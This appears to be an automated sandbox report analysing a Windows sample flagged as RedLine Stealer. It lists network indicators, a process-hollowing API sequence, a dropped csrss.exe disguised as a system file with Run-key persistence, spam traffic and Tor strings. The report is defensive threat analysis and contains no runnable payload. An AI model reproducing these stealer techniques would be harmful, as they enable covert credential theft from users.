Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:57825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 120.88.73.238:443 -> 192.168.2.4:57854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:58017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.111.240.6:443 -> 192.168.2.4:58194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.228.96.142:443 -> 192.168.2.4:58314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.202.62.131:443 -> 192.168.2.4:59179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.229.0.171:443 -> 192.168.2.4:59256 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 40

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: klWGq3yDcQ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 5984

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_00410C9C	0_2_00410C9C
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_00412DC6	0_2_00412DC6
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_004111E0	0_2_004111E0
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_00411E1C	0_2_00411E1C
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_0040C7FA	0_2_0040C7FA

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: String function: 004095AC appears 35 times

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_025B0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_025B0110
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_02A00110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		2_2_02A00110

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Process Stats: CPU usage > 49%

Source: klWGq3yDcQ.exe	Binary or memory string: OriginalFilename vs klWGq3yDcQ.exe
Source: klWGq3yDcQ.exe, 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSoldier@ vs klWGq3yDcQ.exe
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000843000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCSRSS.Exej% vs klWGq3yDcQ.exe
Source: klWGq3yDcQ.exe, 00000001.00000000.1678882805.0000000000687000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSoldier@ vs klWGq3yDcQ.exe
Source: klWGq3yDcQ.exe	Binary or memory string: OriginalFilenameSoldier@ vs klWGq3yDcQ.exe

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: mswsock.dll	Jump to behavior

Source: klWGq3yDcQ.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: klWGq3yDcQ.exe	ReversingLabs: Detection: 70%
Source: klWGq3yDcQ.exe	Virustotal: Detection: 67%

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File read: C:\Users\user\Desktop\klWGq3yDcQ.exe

Jump to behavior

Source: klWGq3yDcQ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\klWGq3yDcQ.exe C:\Users\user\Desktop\klWGq3yDcQ.exe
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Users\user\Desktop\klWGq3yDcQ.exe C:\Users\user\Desktop\klWGq3yDcQ.exe
Source: unknown	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 5984
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 25500
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38276
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 260
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38328
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process created: C:\Users\user\Desktop\klWGq3yDcQ.exe C:\Users\user\Desktop\klWGq3yDcQ.exe	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File created: C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\

Jump to behavior

Source: classification engine

Classification label: mal99.spre.troj.expl.evad.winEXE@11/20@846/100

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_023E97C6 CreateToolhelp32Snapshot,Module32First,

0_2_023E97C6

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6240

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Command line argument: Lt]		0_2_004043A4
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Command line argument: eyi		0_2_004043A4

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: klWGq3yDcQ.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: klWGq3yDcQ.exe

Static file information: File size 1973248 > 1048576

Source: klWGq3yDcQ.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1d2400

Source: klWGq3yDcQ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: "C:\telurayutejaxe.pdb source: klWGq3yDcQ.exe
Source:	Binary string: C:\telurayutejaxe.pdb source: klWGq3yDcQ.exe

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_004095F1 push ecx; ret	0_2_00409604
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_005D1E70 push eax; ret	0_2_005D1E8E
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_004066F3 push ecx; ret	0_2_00406706
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_02543A58 push eax; retf	0_2_02543A5A
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_02490A3E push ds; ret	0_2_02490A3F
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_02537AE7 push esi; iretd	0_2_02537AF2
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_02543AB7 push A7EF5AB4h; ret	0_2_02543ABE
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_024512BC push ebx; iretd	0_2_024512BD
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_0240B7AE push ebp; ret	0_2_0240B7BA
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 0_2_02474415 push edx; ret	0_2_02474417
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Code function: 1_2_00696299 push ecx; ret	1_2_006962AC
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0295AA97 push A7EF5AB4h; ret	2_2_0295AA9E
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0286829C push ebx; iretd	2_2_0286829D
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0294EAC7 push esi; iretd	2_2_0294EAD2
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_028A7A1E push ds; ret	2_2_028A7A1F
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0295AA38 push eax; retf	2_2_0295AA3A
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0282278E push ebp; ret	2_2_0282279A
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 2_2_0288B3F5 push edx; ret	2_2_0288B3F7
Source: C:\ProgramData\Drivers\csrss.exe	Code function: 4_2_00696299 push ecx; ret	4_2_006962AC

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

Code function: 0_2_0040410B LoadLibraryW,GetProcAddress,VirtualProtect,

0_2_0040410B

Source: initial sample	Static PE information: section name: .text entropy: 7.957840457952121
Source: initial sample	Static PE information: section name: .text entropy: 7.957840457952121

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55306 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 55306
Source: unknown	Network traffic detected: HTTP traffic on port 59433 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 59433
Source: unknown	Network traffic detected: HTTP traffic on port 63912 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 63912
Source: unknown	Network traffic detected: HTTP traffic on port 52568 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 52568
Source: unknown	Network traffic detected: HTTP traffic on port 56380 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 56380
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 57202
Source: unknown	Network traffic detected: HTTP traffic on port 58605 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 58605

May use the Tor software to hide its network traffic

Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: onion-port

Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\klWGq3yDcQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
